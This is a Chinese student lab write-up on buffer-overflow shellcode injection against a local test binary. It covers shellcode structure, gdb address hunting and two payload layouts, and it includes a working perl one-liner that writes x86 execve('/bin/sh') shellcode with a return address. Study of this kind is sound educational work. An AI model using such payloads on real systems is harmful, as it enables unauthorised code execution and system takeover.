实践三

知识要求:

shellcode:指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,因此可以将shellcode分为以下4个部分:

1、核心shellcode代码,包含了攻击者要执行的所有代码。

2、触发shellcode的溢出地址。

3、填充物,填充未使用的缓冲区,一般使用nop指令填充——0x90表示。

4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。

5、linux下有两种构造shellcode的方法:retaddr+nop+shellcode;nop+shellcode+retaddr。


实践过程:

按照要求设置基本环境后开始(其中shellcode直接用的老师代码):

尝试第一种构造shellcode方法:retaddr+nop+shellcode

1、在一个终端中构造shellcode,并在终端中注入这段攻击(其中“\x4\x3\x2\x1”处是即将要填的shellcode起始地址),如下图所示:

《网络对抗》拓展:注入shellcode

2、打开另一个终端,查看./pwn进程的ID号,并进行gdb调试,如下图所示,可以看到ret地址是0x080484ae(ret后就会跳到即将要覆盖的返回地址的位置处):

《网络对抗》拓展:注入shellcode

《网络对抗》拓展:注入shellcode

3、开始在0x080484ae处设置断点,并不断向前查看地址知道找到shellcode起始地址,最终找到shellcode起始地址为0xffffd2e0(0xffffd2dc+4)。

《网络对抗》拓展:注入shellcode

4、将构造的shellcode中“\x4\x3\x2\x1”改为“0xffffd2e0”,结果不成功。

《网络对抗》拓展:注入shellcode

尝试第二种构造方法:anything+retaddr+nops+shellcode。

1、如下图“\x4\x3\x2\x1”处是即将要覆盖的shellcode返回地址为:0xffffd300。

《网络对抗》拓展:注入shellcode

2、构造shellcode:perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xe0\xd2\xff\xff\x00"' > input_shellcode

最终成功。如下图:

《网络对抗》拓展:注入shellcode

参考资料

相关文章:

  • 2021-09-05
  • 2021-09-16
  • 2021-08-15
  • 2022-01-17
  • 2021-07-05
  • 2022-03-03
  • 2021-09-05
猜你喜欢
  • 2021-09-17
  • 2021-08-17
  • 2021-09-27
  • 2022-01-24
  • 2021-06-16
  • 2021-10-11
  • 2021-10-10
相关资源
相似解决方案